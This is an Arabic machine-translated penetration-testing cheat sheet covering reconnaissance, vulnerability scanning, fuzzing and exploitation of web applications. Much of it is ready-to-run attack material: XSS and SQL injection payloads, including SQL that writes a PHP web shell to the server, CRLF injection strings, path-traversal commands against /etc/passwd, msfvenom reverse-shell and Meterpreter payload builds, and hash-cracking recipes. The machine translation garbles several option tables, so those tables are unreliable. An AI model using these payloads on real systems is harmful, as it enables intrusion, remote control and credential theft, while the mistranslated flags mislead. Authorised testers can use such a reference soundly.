احصل على مجتمع مجاني لـ Nessus ، وإذا كنت تستطيع تحمله ، احصل على Burp Suite Professional أو Caido.
للحصول على نتائج أفضل ، استخدم IPS بدلاً من أسماء المجال.
Ping Sweep ، Map Live Hosts:
nmap -sn -oG nmap_ping_sweep_results.txt 192.168.8.0/24
nmap -sn -oG nmap_ping_sweep_results.txt -iL cidrs.txt
لن تستجيب بعض خوادم الويب لطلبات PING (ICMP) ، وبالتالي فإن تعيين المضيفين المباشرون لن يكون دقيقًا.
استخراج المضيفين المباشرون من النتائج:
grep -Po ' (?<=Host: )[^s]+ ' nmap_ping_sweep_results.txt | sort -uf | tee -a ips_live.txtTCP Scan ، جميع المنافذ:
nmap -nv -sS -sV -sC -Pn -oN nmap_tcp_results.txt -p- 192.168.8.0/24
nmap -nv -sS -sV -sC -Pn -oN nmap_tcp_results.txt -p- -iL cidrs.txt
أتمتة مسح TCP:
mkdir nmap_tcp_results
for ip in $( cat ips_live.txt ) ; do nmap -nv -sS -sV -sC -Pn -oN " nmap_tcp_results/nmap_tcp_results_ ${ip // . / _} .txt " -p- " ${ip} " ; doneمسح UDP ، المنافذ المهمة فقط:
nmap -nv -sU -sV -sC -Pn -oN nmap_udp_results.txt -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 192.168.8.0/24
nmap -nv -sU -sV -sC -Pn -oN nmap_udp_results.txt -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 -iL cidrs.txt
أتمتة فحص UDP:
mkdir nmap_udp_results
for ip in $( cat ips_live.txt ) ; do nmap -nv -sU -sV -sC -Pn -oN " nmap_udp_results/nmap_udp_results_ ${ip // . / _} .txt " -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 " ${subdomain} " ; done| خيار | وصف |
|---|---|
| -هين | Ping Scan - تعطيل مسح المنفذ |
| -PN | تعامل مع جميع المضيفين على الإنترنت - تخطي اكتشاف المضيف |
| -n/-r | لا تقم أبدًا بدقة DNS/حل دائمًا (افتراضي: في بعض الأحيان) |
| -SS/ST/SA | TCP SYN/CONNECT ()/ACK |
| -su | فحص UDP |
| -P/-P- | فقط مسح المنافذ/مسح جميع المنافذ |
| -المنفذ | مسح معظم المنافذ الشائعة |
| -SV | منافذ التحقيق المفتوحة لتحديد معلومات الخدمة/الإصدار |
| -أ | تمكين اكتشاف نظام التشغيل |
| -SC | نفس -script = الافتراضي |
| -النصف | مسح السيناريو (يستغرق وقتًا للإنهاء) |
| -النصف | تقديم حجج إلى البرامج النصية |
| -نصوص النص | عرض المساعدة حول البرامج النصية |
| -on/-ox/-OG | مسح الإخراج في تنسيق عادي ، XML ، و grepable |
| -v | زيادة مستوى الفعل (استخدام -vv أو أكثر لزيادة التأثير) |
| --سبب | عرض سبب وجود منفذ في حالة معينة |
| -أ | تمكين الكشف عن نظام التشغيل ، واكتشاف الإصدار ، ومسح السيناريو ، و traceroute |
توجد جميع البرامج النصية لـ NMAP على /usr/share/nmap/scripts/ directory. اقرأ المزيد عن البرامج النصية هنا.
أمثلة NSE:
nmap -nv --script='mysql-brute' --script-args='userdb="users.txt", passdb="rockyou.txt"' 192.168.8.5 -p 3306
nmap -nv --script='dns-brute' --script-args='dns-brute.domain="somedomain.com", dns-brute.hostlist="subdomains-top1mil.txt"'
nmap -nv --script='ssl-heartbleed' -iL cidrs.txt
يمكنك العثور على rockyou.txt و subdomains-top1mil.txt wordlists في القتلى.
أفضل استخدام النوى لمسح الضعف.
تثبيت:
apt-get update && apt-get -y install testssl.shاختبار شهادة SSL/TLS (على سبيل المثال ، SSL/TLS Ciphers ، البروتوكولات ، إلخ):
testssl --openssl /usr/bin/openssl -oH testssl_results.html somesite.com
يمكنك أيضًا استخدام TestSsl.sh لاستغلال نقاط الضعف SSL/TLS.
اختبر خادم الويب للحصول على ثغرة أمنية:
for subdomain in $( cat subdomains_live.txt ) ; do res= $( echo " Q " | openssl s_client -connect " ${subdomain} :443 " 2>&1 | grep ' server extension "heartbeat" (id=15) ' ) ; if [[ ! -z $res ]] ; then echo " ${subdomain} " ; fi ; done | tee openssl_heartbleed_results.txt
# omit the URL scheme
for subdomain in $( cat subdomains_live_short_https.txt ) ; do res= $( echo " Q " | openssl s_client -connect " ${subdomain} " 2>&1 | grep ' server extension "heartbeat" (id=15) ' ) ; if [[ ! -z $res ]] ; then echo " ${subdomain} " ; fi ; done | tee openssl_heartbleed_results.txtالاستيلاء على شهادة SSL/TLS:
keytool -printcert -rfc -sslserver somesite.com > keytool_results.txt
openssl x509 -noout -text -in keytool_results.txt
استخدم اكتشاف مع Shodan و Censys SSL/TLS Dorks للعثور على المزيد من المضيفين في النطاق.
جرب دائمًا تسجيل الدخول إلى الجلسة الخالية ، أي تسجيل الدخول إلى كلمة مرور ، أو ابحث في الإنترنت عن بيانات الاعتماد الافتراضية لتطبيق ويب معين.
حاول معالجة ملفات تعريف الارتباط أو رموز JWT للوصول أو رفع الامتيازات. عند تسجيل الخروج ، تحقق دائمًا مما إذا كانت أي من ملفات تعريف الارتباط أو الرموز المميزة JWT لا تزال صالحة.
افحص دائمًا التخزين المحلي لمتصفح الويب ، خاصة إذا كان اختبار تطبيق صفحة واحدة (SPA).
حاول أن تتحول ، على سبيل المثال ، طلب نشر HTTP في طلب HTTP ، أي ، أي سلسلة استعلام ، ومعرفة كيف سيتفاعل الخادم معه.
قم بإيقاف تشغيل JavaScript في متصفح الويب الخاص بك وتحقق من سلوك تطبيق الويب مرة أخرى.
تحقق من سلوك تطبيق الويب على جهاز محمول لأن بعض الميزات قد تعمل بشكل مختلف. جرب خداع وكيل المستخدم الخاص بك أو حاول زيارة m.somesite.com .
إذا كنت ترغب في أتمتة اختبار حقن الكود الخاص بك ، فتحقق من القسم الفرعي لـ Wordlists لقوائم كلمات حقن الكود. بعض قوائم الكلمات تتضمن أيضًا حقن الكود المتفوى.
إذا رأيت أي مبالغ أو كميات ، فحاول استخدام قائمة الكلمات DanielMiessler/Semlists/Tree/Master/Fuzzing/Kerts لأنها قد تسبب سلوكًا غير مقصود أو أخطاء أو حتى تجاوز الحد الأدنى والحد الأقصى.
لا تنسى التنظيف بعد نفسك. إزالة جميع القطع الأثرية التي تم إنشاؤها ، بما في ذلك. البرامج الضارة ، والاستغلال ، والأدوات ، والبرامج النصية ، وما إلى ذلك ، وعودة جميع الإعدادات والتغييرات من مضيف مستهدف بعد الانتهاء من الاختبار.
تستخدم عند محاولة استغلال البرمجة النصية للمواقع العادية المفتوحة (XSS) و DNS و HTTP ، إلخ.
اجمع أكبر قدر ممكن من المعلومات للهدف المحدد ، راجع كيف في 1. الاستطلاع.
جمع أسماء المنظمات مع Whois ، والأسماء الكنسية مع المضيف.
يمكنك التحقق من ما إذا كانت المجالات/النطاقات الفرعية ميتة مع Dig أو Alive و HTTPX.
تحقق مما إذا كان استضافة مقدمي الخدمات للمجالات/النطاقات الفرعية التي تم العثور عليها عرضة للاستحواذ على المجال/المجال الفرعي في Edoverflow/can-i-take-over-xyz. اعتمادات للمؤلف!
أكبر مقدمي الخدمات السحابية:
تثبيت:
go install -v github.com/lukasikic/subzy@latest
تحقق من الاستحواذ على المجالات/النطاقات الفرعية:
subzy -concurrency 100 -timeout 3 -targets subdomains_errors.txt | tee subzy_results.txt
تثبيت:
go install -v github.com/haccer/subjack@latestتحقق من الاستحواذ على المجالات/النطاقات الفرعية:
subjack -v -o subjack_results.json -t 100 -timeout 3 -a -m -w subdomains_errors.txt
اكتشف كيفية تجاوز رموز حالة استجابة HTTP 4xx في إيفان-سينيك/المحظور.
مسح خادم الويب:
nikto -output nikto_results.txt -h somesite.com -p 80
مسح موقع WordPress:
wpscan -o wpscan_results.txt --url somesite.com
التثبيت والتحديث:
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
nuclei -up && nuclei -utفحص الضعف ، جميع القوالب:
nuclei -c 500 -o nuclei_results.txt -l subdomains_live_long_2xx_4xx.txt
cat nuclei_results.txt | grep -Po ' (?<=] ).+ ' | sort -uf > nuclei_sorted_results.txtاستحواذ النطاق الفرعي فقط:
nuclei -c 500 -t takeovers -o nuclei_takeover_results.txt -l subdomains_live.txt
اكتشف معلمات الطلب:
arjun --stable -oT arjun_results.txt -oJ arjun_results.json -T 3 -t 5 --passive -m GET -u https://somesite.com
arjun --stable -oT arjun_results.txt -oJ arjun_results.json -T 3 -t 5 --passive -m GET -i subdomains_live_long_2xx.txt
أدلة الزغب:
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u https://somesite.com/WFUZZ -w directory-list-lowercase-2.3-medium.txt
قيم معلمة الزغب:
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?someparam=WFUZZ" -w somewordlist.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/x-www-form-urlencoded" -u "https://somesite.com/someapi" -d "someparam=WFUZZ" -w somewordlist.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/json" -u "https://somesite.com/someapi" -d "{"someparam": "WFUZZ"}" -w somewordlist.txt
معلمات الزغب:
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?WFUZZ=somevalue" -w somewordlist.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/x-www-form-urlencoded" -u "https://somesite.com/someapi" -d "WFUZZ=somevalue" -w somewordlist.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/json" -u "https://somesite.com/someapi" -d "{"WFUZZ": "somevalue"}" -w somewordlist.txt
مثال إضافي ، SSRF الداخلي الضخمة:
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?url=127.0.0.1:WFUZZ" -w ports.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?url=WFUZZ:80" -w ips.txt
| خيار | وصف |
|---|---|
| -f | نتائج المتجر في ملف الإخراج |
| -t | حدد عدد الاتصالات المتزامنة (10 افتراضي) |
| -S | حدد تأخير الوقت بين الطلبات (0 افتراضي) |
| -u | حدد عنوان URL للطلب |
| -ب | حدد ملف Wordlist |
| -x | حدد طريقة HTTP للطلب ، أي ، الرأس أو الزغب |
| -ب | حدد ملف تعريف الارتباط للطلبات |
| -D | استخدم بيانات البريد |
| -ه | استخدم الرأس |
| -HC/-HL/-HW/-HH | إخفاء الردود مع الكود/الخطوط/الكلمات المحددة |
| --SC/-SL/-SW/-SH | إظهار الردود مع الكود/الخطوط/الكلمات المحددة |
| -SS/-HS | إظهار/إخفاء الردود مع regex المحدد داخل المحتوى |
أولاً ، حاول ببساطة تغيير قيمة إلى أخرى ، على سبيل المثال ، قم بتغيير [email protected] إلى [email protected] ، قم بتغيير بعض الهوية من 1 إلى 2 ، إلخ.
من المحتمل أن يرتبط معرفات الأرقام المنخفضة ببعض حسابات أو أدوار الامتياز الأعلى.
ثانياً ، حاول تلوث المعلمة:
"email":"[email protected],[email protected]"
"email":"[email protected] [email protected]"
"email":"[email protected]","email":"[email protected]"
"email":"[email protected],[email protected]"
"email":"[email protected] [email protected]"
"email":"[email protected]","email":"[email protected]"
"email":("[email protected]","[email protected]")
"email":["[email protected]","[email protected]"]
"email":{"[email protected]","[email protected]"}
"email":("[email protected]","[email protected]")
"email":["[email protected]","[email protected]"]
"email":{"[email protected]","[email protected]"}
email=hacker%40gmail.com,victim%40gmail.com
email=hacker%40gmail.com%20victim%40gmail.com
email=hacker%40gmail.com&email=victim%40gmail.com
email[]=hacker%40gmail.com&email[]=victim%40gmail.com
email=victim%40gmail.com,hacker%40gmail.com
email=victim%40gmail.com%20hacker%40gmail.com
email=victim%40gmail.com&email=hacker%40gmail.com
email[]=victim%40gmail.com&email[]=hacker%40gmail.com
لإنشاء الإخراج أعلاه ، قم بتشغيل idor.py:
python3 idor.py -n email -i [email protected] -t [email protected]
المعروف أيضا باسم حقن CRLF. يشير CRLF إلى عودة النقل ( ASCII 13 ، r ) وتغذية الخط ( ASCII 10 ، n ).
عند الترميز ، يشير r إلى %0D و n يشير إلى %0A .
تثبيت ملف تعريف الارتباط جلسة:
somesite.com/redirect.asp?origin=somesite.com%0D%0ASet-Cookie:%20ASPSESSION=123456789
إعادة التوجيه المفتوح:
somesite.com/home.php?marketing=winter%0D%0ALocation:%20https%3A%2F%2Fgithub.com
يعد تثبيت الجلسة وإعادة التوجيه المفتوح أحد التقنيات المستخدمة في تركيبة مع تقسيم استجابة HTTP. ابحث في الإنترنت لمزيد من التقنيات.
حمولات البرمجة النصية (XSS) البسيطة (XSS):
< script > alert ( 1 ) </ script >
< script src =" https://myserver.com/xss.js " > </ script >
< img src =" https://github.com/favicon.ico " onload =" alert(1) " > لن يعمل استضافة JavaScript على Pastebin لأن Pastebin يعيد دائمًا text/plain .
تعرف على المزيد حول هجمات البرمجة النصية المتقاطعة (XSS) المنعكسة والمخزنة ، بالإضافة إلى هجمات التزوير عبر المواقع (XSRF/CSRF) في إيفان-سينيك/XSS-Catcher.
رسائل بريد إلكتروني صالحة مع XSS المضمنة:
user+( < script > alert ( 1 ) </ script > )@somedomain.com
user@somedomain( < script > alert ( 1 ) </ script > ).com
" < script > alert ( 1 ) </ script > "@somedomain.comتم اختبار الحمولات التالية على قاعدة بيانات MySQL. لاحظ أن MySQL يتطلب حرفًا بيضاء بين رمز التعليق والشخصية التالية.
إذا كنت بحاجة إلى ترميز عنوان URL لحرف المسافة البيضاء ، فاستخدم %20 أو + بدلاً من ذلك.
حاول أن تنتج أخطاء قاعدة البيانات عن طريق حقن سعة واحدة أو زهرة خلفية أو هيفن مزدوجة أو إلى الأمام أو الفترة.
تأكد دائمًا من إغلاق الكود المحيط بشكل صحيح.
اقرأ هذا المقال OWASP لمعرفة كيفية تجاوز WAF.
SQLI مقرها Boolean:
' OR 1=1--
' OR 1=2--
SQLI القائم على الاتحاد:
' UNION SELECT 1,2,3,4--
' UNION SELECT NULL,NULL,NULL,NULL--
' UNION SELECT 1,concat_ws('|',database(),current_user(),version()),3,4--
' UNION SELECT 1,concat_ws('|',table_schema,table_name,column_name,data_type,character_maximum_length),3,4 FROM information_schema.columns--
' UNION SELECT 1,load_file('..\..\apache\conf\httpd.conf'),3,4--
في حالة استخدام ، على سبيل المثال ، لا يعمل 1,2,3,4 ، حاول استخدام NULL,NULL,NULL,NULL على التوالي.
استخدم SQLI المستند إلى الاتحاد فقط عندما تكون قادرًا على استخدام قناة الاتصال نفسها لإطلاق النتائج على الهجوم وجمع النتائج.
الهدف من ذلك هو تحديد العدد الدقيق للأعمدة في استعلام SQL ومعرفة أي منها يتم عرضه على المستخدم.
هناك طريقة أخرى لتحديد العدد الدقيق للأعمدة باستخدام ، على سبيل المثال ، ' ORDER BY 1-- ، حيث 1 هو رقم العمود المستخدم للفرز- زيادة واحدة في كل محاولة.
SQLI القائم على الوقت:
' AND (SELECT 1 FROM (SELECT sleep(2)) test)--
' AND (SELECT 1 FROM (SELECT CASE user() WHEN '[email protected]' THEN sleep(2) ELSE sleep(0) END) test)--
' AND (SELECT 1 FROM (SELECT CASE substring(current_user(),1,1) WHEN 'r' THEN sleep(2) ELSE sleep(0) END) test)--
' AND (SELECT CASE substring(password,1,1) WHEN '$' THEN sleep(2) ELSE sleep(0) END FROM users WHERE id = 1)--
' AND IF(version() LIKE '5%',sleep(2),sleep(0))--
استخدم SQLI المستند إلى الوقت عندما لا تتمكن من رؤية النتائج.
تحقق من وجود/صحة:
' AND (SELECT 'exists' FROM users) = 'exists
' AND (SELECT 'exists' FROM users WHERE username = 'administrator') = 'exists
' AND (SELECT 'correct' FROM users WHERE username = 'administrator' AND length(password) < 8 ) = 'correct
' AND (SELECT CASE substring(password,1,1) WHEN '$' THEN to_char(1/0) ELSE 'correct' END FROM users WHERE username = 'administrator') = 'correct
'||(SELECT CASE substring(password,1,1) WHEN '$' THEN to_char(1/0) ELSE '' END FROM users WHERE username = 'administrator')||'
حقن قذيفة ويب PHP بسيطة استنادًا إلى طلب HTTP:
' UNION SELECT '', '', '', '<?php if(isset($_GET["command"])){echo shell_exec($_GET["command"]);} ?>' INTO DUMPFILE '..\..\htdocs\backdoor.php'--
' UNION SELECT '', '', '', '<?php $p="command";$o=null;if(isset($_SERVER["REQUEST_METHOD"])&&strtolower($_SERVER["REQUEST_METHOD"])==="get"&&isset($_GET[$p])&&($_GET[$p]=trim($_GET[$p]))&&strlen($_GET[$p])>0){$o=@shell_exec("($_GET[$p]) 2>&1");if($o===false){$o="ERROR: The function might be disabled.";}else{$o=str_replace("<","<",$o);$o=str_replace(">",">",$o);}} ?><!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>Simple PHP Web Shell</title><meta name="author" content="Ivan Šincek"><meta name="viewport" content="width=device-width, initial-scale=1.0"></head><body><pre><?php echo $o;unset($o);unset($_GET[$p]); ?></pre></body></html>' INTO DUMPFILE '..\..\htdocs\backdoor.php'--
لحقن قذيفة ويب بنجاح ، يجب أن يكون لدى مستخدم قاعدة البيانات الحالي إذن الكتابة.
حقن رمز SQL في معلمات الطلب:
sqlmap -a -u somesite.com/index.php?username=test&password=test
sqlmap -a -u somesite.com/index.php --data username=test&password=test
sqlmap -a -u somesite.com/index.php --data username=test&password=test -p password
| خيار | وصف |
|---|---|
| -u | عنوان URL الهدف |
| -ه | رأس HTTP إضافي |
| --بيانات | سلسلة البيانات المراد إرسالها من خلال المنشور |
| -كوكي | HTTP قيمة رأس ملف تعريف الارتباط |
| --الوكيل | استخدم وكيلًا للاتصال بعنوان URL المستهدف ([البروتوكول: //] مضيف [: PORT]) |
| -P | المعلمات (معلمات) قابلة للاختبار |
| --مستوى | مستوى الاختبارات لأداء (1-5 ، الافتراضي: 1) |
| --مخاطرة | خطر الاختبارات لأداء (1-3 ، الافتراضي: 1) |
| -أ | استرداد كل شيء |
| -ب | استرداد لافتة DBMS |
| -تفريغ الكل | تفريغ جميع قواعد بيانات قواعد بيانات DBMS |
| -شيل | موجه لقذيفة نظام التشغيل التفاعلية |
| -OS-PWN | مطالبة بقذيفة OOB أو Meterpreter أو VNC |
| -SQLMAP-Shell | موجه لقذيفة SQLMAP التفاعلية |
| -ويزارد | واجهة معالج بسيطة للمستخدمين المبتدئين |
| -DBMS | للقيام. |
اجتياز مسار (على سبيل المثال ، somesite.com/../../../etc/passwd ):
dotdotpwn -q -m http -S -o windows -f /windows/win.ini -k mci -h somesite.com
dotdotpwn -q -m http -o unix -f /etc/passwd -k root -h somesite.com
dotdotpwn -q -m http-url -o unix -f /etc/hosts -k localhost -u 'https://somesite.com/index.php?file=TRAVERSAL'
حاول إعداد بروتوكول مثل file:// ، gopher:// ، dict:// ، php:// ، jar:// ، ftp:// ، tftp:// ، etc. ، إلى مسار الملف ؛ على سبيل المثال ، file://TRAVERSAL .
تحقق من بعض النصائح الإضافية لتجارة الدليل في Swisskyrepo/PayloadsallThethings. اعتمادات للمؤلف!
| خيار | وصف |
|---|---|
| -M | الوحدة النمطية (HTTP ، HTTP-URL ، FTP ، TFTP Payload ، stdout) |
| -ه | اسم المضيف |
| -أ | الكشف عن نظام التشغيل للتغذية الذكية (NMAP) |
| -أ | نوع نظام التشغيل إذا كان معروفًا ("Windows" أو "Unix" أو "Generic") |
| -D | عمق التمريرات (الافتراضي: 6) |
| -f | اسم ملف محدد (افتراضي: وفقًا لنظام التشغيل المكتشف) |
| -S | استخدم SSL لـ HTTP ووحدة الحمولة النامية (غير ضروري لـ HTTP-URL) |
| -u | عنوان URL مع الجزء المراد تمييزه على أنه اجتياز |
| -ك | نمط النص لتتناسب مع الاستجابة |
| -P | اسم الملف مع الحمولة المراد إرسالها والجزء المراد تمييزه مع الكلمة الرئيسية اجتياز |
| -x | منفذ للاتصال (افتراضي: http = 80 ؛ ftp = 21 ؛ tftp = 69) |
| -u | اسم المستخدم (الافتراضي: "مجهول") |
| -P | كلمة المرور (افتراضي: 'dot (at) dot.pwn') |
| -M | طريقة HTTP للاستخدام عند استخدام وحدة "HTTP" (الحصول على ، نشر ، رأس ، نسخ ، تحرك ، افتراضي: الحصول) |
| -ب | كسر بعد العثور على الضعف الأول |
| -C | تابع إذا لم يتم استلام بيانات من المضيف |
تعرف على المزيد حول قذائف PHP في قشرة إيفان-سينيك/PHP.
تعرف على المزيد حول قذائف Java/JSP في TCP Ivan-Sincek/Java-reverse.
تعرف على كيفية إنشاء حمولة قذيفة عكسية لـ Python وإرسالها إلى الجهاز المستهدف في ivan-sincek/send-tcp-load.
لإنشاء Base64 encoded payload ، استخدم أحد أوامر MSFVENOM التالية ، وقم بتعديلها إلى حاجتك:
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b x00x0ax0dxff | base64 -w 0 > payload.txt
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b x00x0ax0dxff | base64 -w 0 > payload.txt
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw | base64 -w 0 > payload.txt
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw | base64 -w 0 > payload.txt
لإنشاء binary file ، استخدم أحد أوامر msfvenom التالية ، وقم بتعديلها إلى حاجتك:
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b x00x0ax0dxff -o payload.bin
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b x00x0ax0dxff -o payload.bin
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -o payload.bin
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -o payload.bin
لإنشاء DLL file ، استخدم أحد أوامر msfvenom التالية ، وقم بتعديلها إلى حاجتك:
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f dll -b x00x0ax0dxff -o payload.dll
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f dll -b x00x0ax0dxff -o payload.dll
لإنشاء ملف standalone executable ، استخدم الملف أحد أوامر msfvenom التالية ، وقم بتعديلها إلى حاجتك:
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -b x00x0ax0dxff -o payload.exe
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -b x00x0ax0dxff -o payload.exe
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -o payload.exe
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -o payload.exe
لإنشاء MSI file ، استخدم أحد أوامر msfvenom التالية ، وقم بتعديلها إلى حاجتك:
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f msi -b x00x0ax0dxff -o payload.msi
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f msi -b x00x0ax0dxff -o payload.msi
قد لا يعمل Bytecode في المحاولة الأولى بسبب بعض الشخصيات السيئة الأخرى. التجربة والخطأ هو المفتاح.
حتى الآن ، لا توجد طريقة سهلة لإنشاء ملف DLL أو MSI مع قذيفة مترات غير قريبة بسبب مشكلات الحجم.
لإنشاء أمر مشفر من PowerShell من نص PowerShell ، قم بتشغيل أمر PowerShell التالي:
[ Convert ]::ToBase64String([ Text.Encoding ]::Unicode.GetBytes([ IO.File ]::ReadAllText( $script )))لتشغيل الأمر المشفر PowerShell ، قم بتشغيل الأمر التالي من PowerShell أو موجه الأوامر:
PowerShell - ExecutionPolicy Unrestricted - NoProfile - EncodedCommand $commandلفك تشفير أمر مشفر PowerShell ، قم بتشغيل أمر PowerShell التالي:
[ Text.Encoding ]::Unicode.GetString([ Convert ]::FromBase64String( $command ))تعرف على المزيد حول عكس PowerShell وربط قذائف TCP في TCP Ivan-Sincek/PowerShell.
تجزئة Google A قبل محاولة كسرها لأنك قد تنقذ نفسك كثيرًا من الوقت والمتاعب.
استخدم Google Dorks أو Chad أو Foca للعثور على الملفات وتنزيلها ، وداخل ملفات تعريف البيانات ، أسماء المستخدمين في مجال القوة.
ضع في اعتبارك أنك قد تغلق حسابات الأشخاص.
تحتوي بعض نماذج الويب على تحدي Captcha و/أو رمز التقديم الخفي الذي قد يمنعك من التأثير الغاشم. إذا كان هذا هو الحال ، فحاول إرسال طلب بدون استجابة Captcha Challenge ورمز التقديم.
يمكنك العثور على مجموعة من قوائم الكلمات المفيدة في القتلى.
قم بإنشاء قائمة كلمات منخفضة الرقمية:
crunch 4 6 -f /usr/share/crunch/charset.lst lalpha-numeric -o crunch_wordlist.txt
راجع قائمة جميع charsets المتاحة أو أضفك في charset.lst الموجودة على /usr/share/crunch/ directory.
توليد جميع التباديل الممكنة من الكلمات:
crunch -o crunch_wordlist.txt -p admin 123 !"
crunch -o crunch_wordlist.txt -q words.txt
قم بتوليد جميع المجموعات الممكنة من Charset:
crunch 4 6 -o crunch_wordlist.txt -p admin123!"
| خيار | وصف |
|---|---|
| -D | يحد من عدد الأحرف المتتالية |
| -f | يحدد مجموعة حرف من ملف |
| -أنا | ينتقل الإخراج |
| -L | عند استخدام خيار -T ، يخبر هذا الخيار Crunch الذي يجب معاملته على أنها حرفية |
| -أ | يحدد الملف لكتابة الإخراج إلى |
| -P | يخبر Crunch بإنشاء كلمات/بصيرة لا تحتوي على أحرف متكررة |
| -Q | يخبر Crunch بقراءة ملف والتوصل إلى ما يتم قراءته |
| -R | يخبر Crunch بإنشاء كلمات من حيث توقفت ، -r يعمل فقط إذا كنت تستخدم -o |
| -S | يحدد سلسلة انطلاق |
| -t | يحدد نمط |
| عنصر نائب | وصف |
|---|---|
| @ | أحرف الحالة الأدنى |
| و | أحرف الحالة العليا |
| ٪ | أرقام |
| ^ | الرموز |
لسوء الحظ ، لا يوجد عنصر نائب يتراوح من الفرق الصغيرة إلى الرموز.
قم بتوليد جميع المجموعات الممكنة من عنصر نائب:
crunch 10 10 -o crunch_wordlist.txt -t admin%%%^^
crunch 10 10 -o crunch_wordlist.txt -t admin%%%^^ -d 2% -d 1^
crunch 10 10 + + 123456 !" -o crunch_wordlist.txt -t admin@@%^^
crunch 10 10 -o crunch_wordlist.txt -t @dmin@@%^^ -l @aaaaaaaaa
لتحديد نوع التجزئة ، قم بتشغيل الأداة التالية:
hash-identifier
تجزئة القوة الغاشمة MD5:
hashcat -m 0 -a 3 --session=cracking --force --status -O -o hashcat_results.txt hashes.txt
تجزئة القوة الغاشمة netntlmv1:
hashcat -m 5500 -a 3 --session=cracking --force --status -O -o hashcat_results.txt hashes.txt
استخدم --session=<session_name> لحفظ ، ومواصلة التقدم التكسير الخاص بك في وقت لاحق باستخدام --restore .
استمر في تكسير التقدم:
hashcat --session=cracking --restore
| خيار | وصف |
|---|---|
| -M | من نوع التجزئة ، انظر المراجع أدناه |
| -أ | وضع الهجوم ، انظر المراجع أدناه |
| --قوة | تجاهل التحذيرات |
| --وقت | إحباط جلسة بعد ثواني من وقت التشغيل |
| --حالة | تمكين التحديث التلقائي لشاشة الحالة |
| -أ | حدد Outfile للتجزئة المستردة |
| --يعرض | عرض كلمات مرور متشققة موجودة في Potfile |
| --حصة | تحديد اسم جلسة محدد |
| --يعيد | استعادة الجلسة من -الجلسة |
| -Restore-File-Path | مسار محدد لاستعادة الملف |
| -أ | تمكين النواة المحسنة (حدود طول كلمة المرور) |
| -1 | charset المعرفة من قبل المستخدم؟ 1 |
| -2 | charset المعرفة من قبل المستخدم؟ 2 |
| -3 | charset المعرفة من قبل المستخدم؟ 3 |
| -4 | charset المعرفة من قبل المستخدم؟ 4 |
عند تحديد charset المعرفة من قبل المستخدم ، الهروب ? مع آخر ? (أي ، استخدم ?? بدلاً من ? ).
| نوع التجزئة | وصف |
|---|---|
| 0 | MD5 |
| 100 | SHA1 |
| 1400 | SHA256 |
| 1700 | SHA512 |
| 200 | MySQL323 |
| 300 | MySQL4.1/MySQL5 |
| 1000 | NTLM |
| 5500 | netntlmv1-vanilla / netntlmv1-ess |
| 5600 | netntlmv2 |
| 2500 | WPA/WPA2 |
| 16800 | WPA-PMKID-PBKDF2 |
| 16500 | JWT (JSON WEB TOKEN) |
لمزيد من أنواع التجزئة قراءة الدليل.
| وضع الهجوم | اسم |
|---|---|
| 0 | مستقيم |
| 1 | مزيج |
| 3 | القوة الغاشمة |
| 6 | قائمة الكلمات الهجينة + قناع |
| 7 | القناع الهجين + قائمة الكلمات |
